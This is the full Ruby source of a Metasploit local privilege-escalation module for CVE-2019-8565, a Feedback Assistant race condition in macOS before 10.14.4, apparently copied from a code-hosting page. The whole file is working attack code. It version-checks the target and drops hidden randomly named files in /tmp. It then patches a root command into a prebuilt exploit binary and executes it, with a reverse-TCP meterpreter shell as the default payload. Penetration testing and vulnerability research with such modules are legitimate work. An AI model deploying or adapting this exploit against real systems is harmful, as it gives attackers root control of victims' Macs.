Path: blob/master/modules/exploits/osx/local/feedback_assistant_root.rb
32534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X Feedback Assistant Race Condition',19'Description' => %q{20This module exploits a race condition vulnerability in Mac's Feedback Assistant.21A successful attempt would result in remote code execution under the context of22root.23},24'License' => MSF_LICENSE,25'Author' => [26'CodeColorist', # Discovery and exploit27'timwr', # Metasploit module28],29'References' => [30['CVE', '2019-8565'],31['URL', 'http://web.archive.org/web/20190423083938/https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],32['URL', 'https://support.apple.com/en-in/HT209600'],33['URL', 'https://github.com/ChiChou/sploits'],34],35'SessionTypes' => [ 'meterpreter', 'shell' ],36'DefaultTarget' => 0,37'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },38'Targets' => [39[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],40[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],41[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],42],43'DisclosureDate' => '2019-04-13',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)51register_advanced_options [52OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])53]54end5556def upload_executable_file(filepath, filedata)57print_status("Uploading file: '#{filepath}'")58write_file(filepath, filedata)59chmod(filepath)60register_file_for_cleanup(filepath)61end6263def check64version = get_system_version6566return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?6768version = Rex::Version.new(version)6970if version >= Rex::Version.new('10.14.4')71return CheckCode::Safe("OSX version #{version} is not vulnerable.")72end7374CheckCode::Appears("OSX version #{version} appears vulnerable.")75end7677def exploit78if check != CheckCode::Appears79fail_with Failure::NotVulnerable, 'Target is not vulnerable'80end8182if is_root?83fail_with Failure::BadConfig, 'Session already has root privileges'84end8586unless writable? datastore['WritableDir']87fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"88end8990case target['Arch']91when ARCH_X6492payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"93binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)94upload_executable_file(payload_file, binary_payload)95root_cmd = payload_file96when ARCH_PYTHON97root_cmd = "echo \"#{payload.encoded}\" | python"98else99root_cmd = payload.encoded100end101root_cmd += " & \0"102if root_cmd.length > 1024103fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"104end105106exploit_data = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-8565', 'exploit'))107placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')108exploit_data[placeholder_index, root_cmd.length] = root_cmd109110exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"111upload_executable_file(exploit_file, exploit_data)112113print_status("Executing exploit '#{exploit_file}'")114result = cmd_exec(exploit_file)115print_status("Exploit result:\n#{result}")116end117end118119120